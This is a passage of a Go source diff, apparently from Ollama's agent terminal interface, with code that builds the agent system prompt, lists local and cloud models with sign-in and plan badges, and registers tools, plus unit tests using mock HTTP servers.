if catalogPrompt := catalog.SystemPrompt(skillToolAvailable); strings.TrimSpace(catalogPrompt) != "" {
|
||||
parts = append(parts, catalogPrompt)
|
||||
}
|
||||
if strings.TrimSpace(extra) != "" {
|
||||
parts = append(parts, strings.TrimSpace(extra))
|
||||
}
|
||||
return strings.Join(parts, "\n\n")
|
||||
}
|
||||
|
||||
func agentSystemFromShow(ctx context.Context, client *api.Client, modelName string) string {
|
||||
if client == nil || strings.TrimSpace(modelName) == "" {
|
||||
return ""
|
||||
}
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load model system prompt: %v\n", err)
|
||||
return ""
|
||||
}
|
||||
return resp.System
|
||||
}
|
||||
|
||||
func agentDefaultSystemPrompt(now time.Time, modelName string) string {
|
||||
date := now.Format("Monday, January 2, 2006")
|
||||
shellName := "bash"
|
||||
if runtime.GOOS == "windows" {
|
||||
shellName = "PowerShell"
|
||||
}
|
||||
return strings.Join([]string{
|
||||
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
|
||||
"",
|
||||
"Current date: " + date + ".",
|
||||
"",
|
||||
"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
|
||||
"",
|
||||
"Use " + shellName + " carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
|
||||
"",
|
||||
"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
|
||||
}, "\n")
|
||||
}
|
||||
|
||||
func agentModelOptions(ctx context.Context, client *api.Client) ([]agentchat.ModelOption, error) {
|
||||
if client == nil {
|
||||
return nil, errors.New("model picker requires an API client")
|
||||
}
|
||||
|
||||
list, err := client.List(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var options []agentchat.ModelOption
|
||||
add := func(name, description string, recommended bool, requiredPlan string, cloud bool) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return
|
||||
}
|
||||
key := strings.ToLower(name)
|
||||
if _, ok := seen[key]; ok {
|
||||
return
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
options = append(options, agentchat.ModelOption{
|
||||
Name: name,
|
||||
Description: strings.TrimSpace(description),
|
||||
Recommended: recommended,
|
||||
RequiredPlan: requiredPlan,
|
||||
Cloud: cloud,
|
||||
})
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
|
||||
if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
|
||||
for _, rec := range recs.Recommendations {
|
||||
name := strings.TrimSpace(rec.Model)
|
||||
if !modelref.HasExplicitCloudSource(name) {
|
||||
continue
|
||||
}
|
||||
add(name, agentRecommendationDescription(rec), true, strings.TrimSpace(rec.RequiredPlan), true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
local := slices.Clone(list.Models)
|
||||
slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
|
||||
return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
|
||||
})
|
||||
for _, model := range local {
|
||||
name := strings.TrimSpace(model.Name)
|
||||
if name == "" {
|
||||
name = strings.TrimSpace(model.Model)
|
||||
}
|
||||
name = strings.TrimSuffix(name, ":latest")
|
||||
if modelref.HasExplicitCloudSource(name) {
|
||||
// Cloud-sourced models in the local tags list keep their ":cloud"
|
||||
// suffix in the name and show arch details without a "cloud" marker.
|
||||
// If a curated rec already added this model, the dedup above keeps
|
||||
// the rec entry.
|
||||
add(name, agentCloudModelDescription(model), false, "", true)
|
||||
continue
|
||||
}
|
||||
add(name, agentLocalModelDescription(model), false, "", false)
|
||||
}
|
||||
|
||||
// Compute availability badges for cloud models based on account state.
|
||||
badges, signInURLs := cloudAvailabilityBadges(ctx, client, options)
|
||||
for i := range options {
|
||||
options[i].AvailabilityBadge = badges[options[i].Name]
|
||||
options[i].SignInURL = signInURLs[options[i].Name]
|
||||
}
|
||||
|
||||
return options, nil
|
||||
}
|
||||
|
||||
// cloudAvailabilityBadges returns a map of model name → availability badge
|
||||
// for cloud models that require sign-in or a plan upgrade. It also returns
|
||||
// a map of model name → sign-in URL for models that require sign-in.
|
||||
func cloudAvailabilityBadges(ctx context.Context, client *api.Client, options []agentchat.ModelOption) (map[string]string, map[string]string) {
|
||||
badges := make(map[string]string)
|
||||
signInURLs := make(map[string]string)
|
||||
hasCloud := false
|
||||
for _, opt := range options {
|
||||
if opt.Cloud {
|
||||
hasCloud = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasCloud {
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
whoamiCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
|
||||
defer cancel()
|
||||
user, err := client.Whoami(whoamiCtx)
|
||||
if err != nil {
|
||||
// Whoami failed — likely not signed in. Extract the sign-in URL
|
||||
// from the authorization error so we can show it immediately.
|
||||
var authErr api.AuthorizationError
|
||||
signInURL := ""
|
||||
if errors.As(err, &authErr) && authErr.SigninURL != "" {
|
||||
signInURL = authErr.SigninURL
|
||||
}
|
||||
for _, opt := range options {
|
||||
if opt.Cloud {
|
||||
badges[opt.Name] = "Sign in required"
|
||||
if signInURL != "" {
|
||||
signInURLs[opt.Name] = signInURL
|
||||
}
|
||||
}
|
||||
}
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
signedIn := user != nil && user.Name != ""
|
||||
for _, opt := range options {
|
||||
if !opt.Cloud {
|
||||
continue
|
||||
}
|
||||
if !signedIn {
|
||||
badges[opt.Name] = "Sign in required"
|
||||
} else if opt.RequiredPlan != "" && !launch.PlanSatisfies(user.Plan, opt.RequiredPlan) {
|
||||
badges[opt.Name] = "Upgrade required"
|
||||
}
|
||||
}
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
func agentRecommendationDescription(rec api.ModelRecommendation) string {
|
||||
var parts []string
|
||||
if description := strings.TrimSpace(rec.Description); description != "" {
|
||||
parts = append(parts, description)
|
||||
} else {
|
||||
parts = append(parts, "cloud")
|
||||
}
|
||||
if rec.ContextLength > 0 {
|
||||
parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
|
||||
}
|
||||
return strings.Join(parts, " · ")
|
||||
}
|
||||
|
||||
// agentModelArchDescription builds the shared arch-details + context segment
|
||||
// used by both local and cloud-sourced tag entries: "<family> <params> <quant>
|
||||
// · N ctx>". Parameter sizes that are raw numbers (common for cloud stubs) are
|
||||
// humanized, e.g. "27000000000" -> "27B".
|
||||
func agentModelArchDescription(model api.ListModelResponse) string {
|
||||
var details []string
|
||||
if model.Details.Family != "" {
|
||||
details = append(details, model.Details.Family)
|
||||
}
|
||||
if ps := humanizedParameterSize(model.Details.ParameterSize); ps != "" {
|
||||
details = append(details, ps)
|
||||
}
|
||||
if model.Details.QuantizationLevel != "" {
|
||||
details = append(details, model.Details.QuantizationLevel)
|
||||
}
|
||||
var parts []string
|
||||
if len(details) > 0 {
|
||||
parts = append(parts, strings.Join(details, " "))
|
||||
}
|
||||
if model.Details.ContextLength > 0 {
|
||||
parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
|
||||
}
|
||||
return strings.Join(parts, " · ")
|
||||
}
|
||||
|
||||
func agentLocalModelDescription(model api.ListModelResponse) string {
|
||||
desc := agentModelArchDescription(model)
|
||||
if desc == "" {
|
||||
return "local"
|
||||
}
|
||||
return "local · " + desc
|
||||
}
|
||||
|
||||
// agentCloudModelDescription describes a cloud-sourced model present in the
|
||||
// local tags list. It omits a "cloud" marker (the model name keeps its
|
||||
// ":cloud"/"-cloud" suffix) and shows the same arch details as local models.
|
||||
func agentCloudModelDescription(model api.ListModelResponse) string {
|
||||
return agentModelArchDescription(model)
|
||||
}
|
||||
|
||||
func humanizedParameterSize(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if f, err := strconv.ParseFloat(s, 64); err == nil {
|
||||
return format.HumanNumber(uint64(f))
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, catalog *skills.Catalog) *coreagent.Registry {
|
||||
supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
|
||||
}
|
||||
if !supportsTools {
|
||||
return nil
|
||||
}
|
||||
|
||||
registry := coreagent.NewRegistry()
|
||||
if os.Getenv("OLLAMA_AGENT_DISABLE_SHELL") == "" {
|
||||
registry.Register(agenttools.NewBash())
|
||||
}
|
||||
registry.Register(agenttools.NewRead())
|
||||
registry.Register(agenttools.NewEdit())
|
||||
if !catalog.Empty() {
|
||||
registry.Register(agenttools.NewSkill(catalog))
|
||||
}
|
||||
|
||||
if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
|
||||
registry.Register(agenttools.NewWebSearch())
|
||||
registry.Register(agenttools.NewWebFetch())
|
||||
} else {
|
||||
fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
|
||||
}
|
||||
}
|
||||
return registry
|
||||
}
|
||||
|
||||
func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts AgentTUIOptions, modelName string) error {
|
||||
modelName = strings.TrimSpace(modelName)
|
||||
if client == nil || modelName == "" {
|
||||
return nil
|
||||
}
|
||||
info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.RemoteHost != "" || modelref.HasExplicitCloudSource(modelName) {
|
||||
return nil
|
||||
}
|
||||
return preloadLocalModel(ctx, client, runOptions{
|
||||
Model: modelName,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Think: opts.Think,
|
||||
})
|
||||
}
|
||||
|
||||
func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
|
||||
}
|
||||
|
||||
func agentModelSupportsMultimodal(ctx context.Context, client *api.Client, modelName string) bool {
|
||||
if client == nil || strings.TrimSpace(modelName) == "" {
|
||||
return false
|
||||
}
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
|
||||
return false
|
||||
}
|
||||
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityVision) || slices.Contains(resp.Capabilities, model.CapabilityAudio) {
|
||||
return true
|
||||
}
|
||||
if len(resp.ProjectorInfo) != 0 {
|
||||
return true
|
||||
}
|
||||
for key := range resp.ModelInfo {
|
||||
if strings.Contains(key, ".vision.") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
|
||||
if internalcloud.Disabled() {
|
||||
return true, true
|
||||
}
|
||||
|
||||
status, err := client.CloudStatusExperimental(ctx)
|
||||
if err != nil {
|
||||
var statusErr api.StatusError
|
||||
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
|
||||
return false, false
|
||||
}
|
||||
return false, false
|
||||
}
|
||||
return status.Cloud.Disabled, true
|
||||
}
|
||||
|
||||
// ensureCloudModelAccess checks whether the user is signed in and has a
|
||||
// sufficient plan to use a cloud model. It returns an AuthorizationError
|
||||
// (with SigninURL) when sign-in is needed, or a plan error when upgrade is
|
||||
// needed.
|
||||
func ensureCloudModelAccess(ctx context.Context, client *api.Client, model, requiredPlan string) error {
|
||||
if client == nil {
|
||||
return errors.New("no API client available")
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
|
||||
return errors.New("remote inference is unavailable")
|
||||
}
|
||||
|
||||
user, err := client.Whoami(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if user != nil && user.Name != "" {
|
||||
if requiredPlan != "" && !launch.PlanSatisfies(user.Plan, requiredPlan) {
|
||||
return fmt.Errorf("plan upgrade required: %s needs plan %s, you have %s", model, requiredPlan, user.Plan)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("%s requires sign in", model)
|
||||
}
|
||||
@@ -0,0 +1,481 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"os"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
agenttools "github.com/ollama/ollama/agent/tools"
|
||||
"github.com/ollama/ollama/api"
|
||||
agentchat "github.com/ollama/ollama/cmd/tui/chat"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func setAgentTUITestCloudEnabled(t *testing.T) {
|
||||
t.Helper()
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "")
|
||||
envconfig.ReloadServerConfig()
|
||||
}
|
||||
|
||||
func TestAgentSystemPromptIncludesModel(t *testing.T) {
|
||||
prompt := agentSystemPromptAt(time.Date(2026, time.June, 12, 9, 30, 0, 0, time.UTC), "llama3.2", nil, false, "", "")
|
||||
shellName := "bash"
|
||||
if runtime.GOOS == "windows" {
|
||||
shellName = "PowerShell"
|
||||
}
|
||||
for _, want := range []string{
|
||||
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is llama3.2.",
|
||||
"Current date: Friday, June 12, 2026.",
|
||||
"Be concise, practical, and action-oriented.",
|
||||
"Use " + shellName + " carefully.",
|
||||
"Tell the user about meaningful changes",
|
||||
} {
|
||||
if !strings.Contains(prompt, want) {
|
||||
t.Fatalf("prompt missing %q:\n%s", want, prompt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentSystemPromptIncludesModelSystem(t *testing.T) {
|
||||
prompt := agentSystemPromptAt(time.Date(2026, time.June, 12, 9, 30, 0, 0, time.UTC), "llama3.2", nil, false, "You are a pirate.", "")
|
||||
if !strings.Contains(prompt, "You are a pirate.") {
|
||||
t.Fatalf("prompt missing model system:\n%s", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkSuppressesThinking(t *testing.T) {
|
||||
output := captureStdout(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventThinkingDelta, Thinking: "thinking"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventMessageDelta, Content: "answer"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if output != "answer" {
|
||||
t.Fatalf("output = %q, want answer only", output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkPrintsOnlyFinishedToolEvents(t *testing.T) {
|
||||
output := captureStderr(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolStarted,
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "denied",
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "main.go"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "web_fetch",
|
||||
Args: map[string]any{"url": "https://example.com"},
|
||||
Error: "timeout",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if strings.Contains(output, "in progress") {
|
||||
t.Fatalf("headless output should not include in-progress tool events:\n%s", output)
|
||||
}
|
||||
for _, want := range []string{
|
||||
`• Bash("pwd") done`,
|
||||
`• Edit("main.go") failed`,
|
||||
`• Web Fetch("https://example.com") failed`,
|
||||
} {
|
||||
if !strings.Contains(output, want) {
|
||||
t.Fatalf("headless output missing %q:\n%s", want, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkPrintsToolEventsAfterContentNewline(t *testing.T) {
|
||||
var stdout string
|
||||
stderr := captureStderr(t, func() {
|
||||
stdout = captureStdout(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventMessageDelta, Content: "checking"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
})
|
||||
if stdout != "checking\n" {
|
||||
t.Fatalf("stdout = %q, want content newline before tool event", stdout)
|
||||
}
|
||||
if stderr != "• Bash(\"pwd\") done\n" {
|
||||
t.Fatalf("stderr = %q, want compact tool status", stderr)
|
||||
}
|
||||
}
|
||||
|
||||
func captureStdout(t *testing.T, fn func()) string {
|
||||
t.Helper()
|
||||
|
||||
oldStdout := os.Stdout
|
||||
r, w, err := os.Pipe()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stdout = w
|
||||
t.Cleanup(func() {
|
||||
os.Stdout = oldStdout
|
||||
})
|
||||
|
||||
fn()
|
||||
|
||||
if err := w.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := io.ReadAll(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stdout = oldStdout
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func captureStderr(t *testing.T, fn func()) string {
|
||||
t.Helper()
|
||||
|
||||
oldStderr := os.Stderr
|
||||
r, w, err := os.Pipe()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stderr = w
|
||||
t.Cleanup(func() {
|
||||
os.Stderr = oldStderr
|
||||
})
|
||||
|
||||
fn()
|
||||
|
||||
if err := w.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := io.ReadAll(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stderr = oldStderr
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func TestAgentToolsRegistryNoCloudDisablesWebTools(t *testing.T) {
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "1")
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_SHELL", "")
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "")
|
||||
|
||||
statusCalls := 0
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
|
||||
})
|
||||
case "/api/status":
|
||||
statusCalls++
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", nil)
|
||||
if registry == nil {
|
||||
t.Fatal("registry = nil, want local tools")
|
||||
}
|
||||
if !registry.Has(agenttools.NewBash().Name()) || !registry.Has("read") || !registry.Has("edit") {
|
||||
t.Fatalf("local tools missing: %v", registry.Names())
|
||||
}
|
||||
if registry.Has("list") {
|
||||
t.Fatalf("list tool should not be registered; got %v", registry.Names())
|
||||
}
|
||||
if registry.Has("web_search") || registry.Has("web_fetch") {
|
||||
t.Fatalf("web tools should be disabled when OLLAMA_NO_CLOUD is set: %v", registry.Names())
|
||||
}
|
||||
if statusCalls != 0 {
|
||||
t.Fatalf("/api/status calls = %d, want local no-cloud short-circuit", statusCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentToolsRegistryRegistersSkillTool(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
|
||||
})
|
||||
case "/api/status":
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog := &skills.Catalog{Skills: []skills.Skill{{Name: "go-code", Description: "Write Go code."}}}
|
||||
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", catalog)
|
||||
if registry == nil || !registry.Has("skill") {
|
||||
t.Fatalf("registry missing skill tool: %#v", registry)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentModelOptionsIncludesCloudRecommendationsAndLocalModels(t *testing.T) {
|
||||
setAgentTUITestCloudEnabled(t)
|
||||
|
||||
var recommendationsCalled bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/tags":
|
||||
_ = json.NewEncoder(w).Encode(api.ListResponse{
|
||||
Models: []api.ListModelResponse{{
|
||||
Name: "llama3.2:latest",
|
||||
Details: api.ModelDetails{
|
||||
Family: "llama",
|
||||
ParameterSize: "3B",
|
||||
QuantizationLevel: "Q4_K_M",
|
||||
ContextLength: 131072,
|
||||
},
|
||||
Size: 2_000_000_000,
|
||||
}, {
|
||||
Name: "gemma3:27b-cloud",
|
||||
Details: api.ModelDetails{
|
||||
Family: "gemma3",
|
||||
ParameterSize: "27000000000",
|
||||
QuantizationLevel: "bf16",
|
||||
ContextLength: 131072,
|
||||
},
|
||||
}},
|
||||
})
|
||||
case "/api/status":
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
case "/api/experimental/model-recommendations":
|
||||
recommendationsCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
|
||||
Recommendations: []api.ModelRecommendation{
|
||||
{Model: "qwen3.5:cloud", Description: "cloud reasoning", ContextLength: 262144, RequiredPlan: "pro"},
|
||||
{Model: "gemma4", Description: "local recommendation should be ignored"},
|
||||
},
|
||||
})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !recommendationsCalled {
|
||||
t.Fatal("expected recommendations endpoint to be called")
|
||||
}
|
||||
if got, want := modelOptionNames(options), []string{"qwen3.5:cloud", "gemma3:27b-cloud", "llama3.2"}; !slices.Equal(got, want) {
|
||||
t.Fatalf("model options = %#v, want %#v", got, want)
|
||||
}
|
||||
if options[0].Description == "" || options[1].Description == "" || options[2].Description == "" {
|
||||
t.Fatalf("expected descriptions for model options: %#v", options)
|
||||
}
|
||||
// A cloud-sourced model in the local tags list keeps its ":cloud" suffix in
|
||||
// the name, shows humanized arch details + ctx, and carries no "cloud" or
|
||||
// "local" marker (the name conveys the cloud source).
|
||||
cloudOpt := options[1]
|
||||
if cloudOpt.Name != "gemma3:27b-cloud" {
|
||||
t.Fatalf("cloud-tagged model name = %q, want :cloud suffix kept", cloudOpt.Name)
|
||||
}
|
||||
if strings.Contains(cloudOpt.Description, "cloud") || strings.Contains(cloudOpt.Description, "local") {
|
||||
t.Fatalf("cloud-tagged model description = %q, should not include cloud/local marker", cloudOpt.Description)
|
||||
}
|
||||
if !strings.Contains(cloudOpt.Description, "27B") || !strings.Contains(cloudOpt.Description, "bf16") {
|
||||
t.Fatalf("cloud-tagged model description = %q, want humanized params + quant", cloudOpt.Description)
|
||||
}
|
||||
if strings.Contains(cloudOpt.Description, "27000000000") {
|
||||
t.Fatalf("cloud-tagged model description = %q, should not leak raw param size", cloudOpt.Description)
|
||||
}
|
||||
if !options[0].Recommended || options[1].Recommended {
|
||||
t.Fatalf("recommended flags = %#v, want only cloud recommendation marked", options)
|
||||
}
|
||||
if strings.Contains(options[0].Description, "plan") || strings.Contains(options[0].Description, "pro") {
|
||||
t.Fatalf("recommendation description should not include plan type: %q", options[0].Description)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentModelOptionsNoCloudSkipsCloudRecommendations(t *testing.T) {
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "1")
|
||||
|
||||
var recommendationsCalled bool
|
||||
var statusCalled bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/tags":
|
||||
_ = json.NewEncoder(w).Encode(api.ListResponse{
|
||||
Models: []api.ListModelResponse{{Name: "llama3.2:latest"}},
|
||||
})
|
||||
case "/api/status":
|
||||
statusCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
case "/api/experimental/model-recommendations":
|
||||
recommendationsCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
|
||||
Recommendations: []api.ModelRecommendation{{Model: "qwen3.5:cloud"}},
|
||||
})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recommendationsCalled {
|
||||
t.Fatal("recommendations endpoint should not be called when no-cloud is set")
|
||||
}
|
||||
if statusCalled {
|
||||
t.Fatal("status endpoint should not be called when local no-cloud short-circuits")
|
||||
}
|
||||
if got, want := modelOptionNames(options), []string{"llama3.2"}; !slices.Equal(got, want) {
|
||||
t.Fatalf("model options = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreloadAgentModelIfLocalLoadsLocalModel(t *testing.T) {
|
||||
var generateReq api.GenerateRequest
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{})
|
||||
case "/api/generate":
|
||||
if err := json.NewDecoder(r.Body).Decode(&generateReq); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(api.GenerateResponse{Done: true})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
keepAlive := api.Duration{Duration: 5 * time.Minute}
|
||||
think := &api.ThinkValue{Value: "low"}
|
||||
err = preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{
|
||||
KeepAlive: &keepAlive,
|
||||
Think: think,
|
||||
}, "llama3.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if generateReq.Model != "llama3.2" {
|
||||
t.Fatalf("generate model = %q, want llama3.2", generateReq.Model)
|
||||
}
|
||||
if generateReq.KeepAlive == nil || generateReq.KeepAlive.Duration != 5*time.Minute {
|
||||
t.Fatalf("generate keepalive = %#v, want 5m", generateReq.KeepAlive)
|
||||
}
|
||||
